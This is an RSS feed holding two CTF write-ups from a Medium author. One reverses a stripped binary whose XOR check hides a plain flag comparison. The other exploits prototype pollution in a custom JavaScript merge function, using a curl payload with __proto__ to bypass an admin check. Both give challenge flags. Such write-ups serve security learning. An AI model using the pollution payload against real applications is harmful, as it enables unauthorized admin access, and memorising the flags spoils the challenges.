<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hetainarora on Medium]]></title>
        <description><![CDATA[Stories by Hetainarora on Medium]]></description>
        <link>https://medium.com/@hetainarora1612?source=rss-6a807f0e8dbe------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*GvvprBVNlbbVuT7V</url>
            <title>Stories by Hetainarora on Medium</title>
            <link>https://medium.com/@hetainarora1612?source=rss-6a807f0e8dbe------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 21:30:16 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hetainarora1612/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[EHAX CTF Write-Up:]]></title>
            <link>https://medium.com/@hetainarora1612/ehax-ctf-write-up-6d2401c9a838?source=rss-6a807f0e8dbe------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d2401c9a838</guid>
            <dc:creator><![CDATA[Hetainarora]]></dc:creator>
            <pubDate>Mon, 24 Aug 2026 16:11:15 GMT</pubDate>
            <atom:updated>2026-08-24T16:11:15.114Z</atom:updated>
            <content:encoded><![CDATA[<h3>(1). Challenge:Netan-Yaa-Hoo</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mC5XCRaJoCAM5uVaAbHazQ.png" /></figure><p><strong>Category: Reverse Engineering</strong></p><p><strong>Files given: netan-yaa-hoo (no extension)</strong></p><h4>My approach:</h4><p>This challenge gave me a binary instead of source code. The description was basically a joke about an old Yahoo account that had been left logged in. The program asked for an access code, so the first thing I needed to do was understand what the binary actually was.</p><h4>I started with:</h4><blockquote>file netan-yaa-hoo</blockquote><p>It turned out to be a stripped 64-bit ELF executable. Since it was stripped, there were no useful debug symbols or normal function names to guide me.</p><p>Instead of immediately jumping into disassembly, I used strings first:</p><blockquote>strings -n 6 netan-yaa-hoo</blockquote><p>This showed the access-code related text and, more importantly, a string that already looked exactly like an EHAX flag:</p><blockquote><strong>EHAX{e00a5f1574d027aeba19bbc4e6d32458e1}</strong></blockquote><p>At first I wasn’t sure whether this was the actual flag or just a decoy. So I checked where the program was using that string</p><h4>Understanding the check:</h4><h4>I disassembled the binary using:</h4><blockquote>objdump -d -M intel</blockquote><h4>The important part of the check looked roughly like this:</h4><blockquote><strong>for (i = 0; i &lt;= 33; i++) {</strong></blockquote><blockquote><strong>c1 = the_flag[i + 5];</strong></blockquote><p><strong>key = rolling_key[i % 3];</strong></p><blockquote><strong>b1 = key ^ c1;</strong></blockquote><blockquote><strong>b2 = key ^ input[i];</strong></blockquote><blockquote><strong>if (b1 != b2) goto FAIL;</strong></blockquote><blockquote><strong>}</strong></blockquote><p>At first, the rolling XOR looked like it might require some actual cracking. But then I noticed that the same key was being XORed with both values before comparing them.</p><h4>If:</h4><blockquote><strong>key ^ c1 == key ^ input</strong></blockquote><h4><strong>then the key cancels out, so this is simply:</strong></h4><p>c1 == input</p><p>So the XOR was basically just hiding a normal byte-for-byte comparison.</p><h4><strong>Finding the exact input:</strong></h4><p>I then checked main() and found that the program passed argv[1] + 5 to the checking function. In other words, it skipped the first five characters.</p><h4>There was also a format check requiring the full input to:</h4><ul><li><strong>start with EHAX{</strong></li><li><strong>end with }</strong></li><li><strong>have the expected length</strong></li></ul><p>The important realization was that the program was comparing the part after EHAX{ with the same part of the flag string already stored inside the binary.</p><p>So the access code was simply the same flag string that was already visible in the binary.</p><h4>I tested it directly:</h4><blockquote><strong>./vault “EHAX{e00a5f1574d027aeba19bbc4e6d32458e1}”</strong></blockquote><h4>The program replied with:</h4><p>Access granted — welcome back to your inbox, Bibi.</p><p>You’ve unlocked the flag: <strong>EHAX{e00a5f1574d027aeba19bbc4e6d32458e1}</strong></p><h4>What I learned:</h4><p>The main thing I learned from this challenge was not to overcomplicate an XOR check. When both sides are transformed using the exact same XOR key, the transformation doesn’t actually hide the comparison.</p><p>Also, finding a flag-looking string inside a binary doesn’t automatically mean it is a fake. Instead of guessing, it is better to check how the program uses that string.</p><h4>Tools I used:</h4><ul><li><strong>file — to identify the binary type and architecture</strong></li><li><strong>strings -n 6 — to find readable strings</strong></li><li><strong>objdump -d -M intel — to inspect the assembly</strong></li><li><strong>Manual pseudocode reconstruction — to understand the check</strong></li><li><strong>Direct binary execution — to verify the final access code</strong></li></ul><h4>FLAG :</h4><h4>EHAX{e00a5f1574d027aeba19bbc4e6d32458e1}</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d2401c9a838" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EHAX CTF Write-Up:]]></title>
            <link>https://medium.com/@hetainarora1612/ehax-ctf-write-up-dd2eaf13abf7?source=rss-6a807f0e8dbe------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd2eaf13abf7</guid>
            <dc:creator><![CDATA[Hetainarora]]></dc:creator>
            <pubDate>Mon, 24 Aug 2026 15:51:56 GMT</pubDate>
            <atom:updated>2026-08-24T15:51:56.665Z</atom:updated>
            <content:encoded><![CDATA[<h3>(1). Challenge: IGDTUW Registration Portal.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HxjlH4rvz9MECeHDYWjxZg.png" /></figure><h4>Category: Web</h4><h4>Difficulty: Easy/Medium.</h4><h3>My approach:</h3><p>The challenge description mentioned that the developers had made their own lightweight merge utility instead of using a normal library. That immediately stood out to me. Custom code that handles objects and merging is something I would always want to check first, especially in a CTF.</p><p>So instead of reading all the Express code, I went directly to the merge() function.</p><p><strong>The vulnerable part was:</strong></p><blockquote>function isPlainObject(value) {</blockquote><blockquote>return value !== null &amp;&amp; typeof value === ‘object’ &amp;&amp; !Array.isArray(value); }</blockquote><blockquote>function merge(target, source) {</blockquote><blockquote>for (const key in source) {</blockquote><blockquote>if (isPlainObject(target[key]) &amp;&amp; isPlainObject(source[key])) {</blockquote><blockquote>merge(target[key], source[key]);</blockquote><blockquote>} else {</blockquote><blockquote>target[key] = source[key];</blockquote><blockquote>} }</blockquote><blockquote>return target;</blockquote><blockquote>}</blockquote><p>The main problem is that the function accepts every key from the input. There is no protection against special properties such as __proto__.</p><p>The important part is how __proto__ works in JavaScript. For a normal object, target[‘__proto__’] refers to its prototype. Since Object.prototype is shared by normal objects, recursively merging into it can modify the prototype for other objects too.</p><h4>The flow was basically:</h4><ol><li><strong>__proto__ from the JSON input gets processed like any other key.</strong></li><li><strong>The target’s __proto__ points to Object.prototype.</strong></li><li><strong>The merge function recurses into Object.prototype.</strong></li><li><strong>Properties such as isAdmin and role can then be added to the shared prototype.</strong></li></ol><h4><strong>So I could effectively end up with:</strong></h4><blockquote><strong>Object.prototype.isAdmin = true</strong></blockquote><blockquote><strong>Object.prototype.role = ‘admin’</strong></blockquote><p>That is prototype pollution.</p><h4>Finding where it mattered:</h4><h4>The app created a fresh session object:</h4><blockquote>function createSession(req) {</blockquote><blockquote>const session = {};</blockquote><blockquote>session.ip = req.ip;</blockquote><blockquote>session.userAgent = req.get(‘user-agent’) || ‘unknown’;</blockquote><blockquote>return session;</blockquote><blockquote>}</blockquote><h4>Then the students endpoint checked:</h4><p>const session = createSession(req);</p><p>const isAdmin = session.isAdmin === true &amp;&amp; session.role === ‘admin’;</p><p>The interesting thing is that isAdmin and role were never actually assigned to the session. Normally they would be undefined. But after prototype pollution, JavaScript looks up those properties through the prototype chain, so the session can inherit the values we added.</p><p>That meant the admin check could be bypassed.</p><h4>Exploit:</h4><h4>First, I sent the registration request with the __proto__ object:</h4><blockquote>curl -X POST https://&lt;target&gt;/api/register -H “Content-Type: application/json” -d ‘{</blockquote><p><strong>“name”: “pwn”,</strong></p><p><strong>“email”: “</strong><a href="/service/mailto:pwn@igdtuw.ac.in"><strong>pwn@igdtuw.ac.in</strong></a><strong>”,</strong></p><p><strong>“rollNo”: “pwn001”,</strong></p><p><strong>”__proto__”: { “isAdmin”: true, “role”: “admin” }</strong></p><p><strong>}’</strong></p><h4>Then I requested the students endpoint:</h4><blockquote><strong>curl https://&lt;target&gt;/api/students</strong></blockquote><h4>The response contained the flag:</h4><blockquote><strong>EHAX{61d265b80fec9e76c7adee3cff54a37fad}</strong></blockquote><h4>What I learned:</h4><p>The biggest lesson for me was that writing your own security-sensitive utility does not automatically make it safer. In this case, the custom recursive merge function recreated a well-known prototype-pollution bug.</p><p>Another useful point was that a new object is not necessarily isolated. Even though the application creates a new session object for every request, normal JavaScript objects still inherit from shared prototypes.</p><h4>Tools I used:</h4><ul><li><strong>Manual source review — to find the custom merge function</strong></li><li><strong>Manual reasoning — to understand the prototype-pollution flow</strong></li><li><strong>curl — to send the payload and access the endpoint</strong></li><li><strong>Chrome DevTools Network tab — to copy the request as cURL when needed</strong></li></ul><h3>FLAG</h3><h4>EHAX{61d265b80fec9e76c7adee3cff54a37fad}</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd2eaf13abf7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>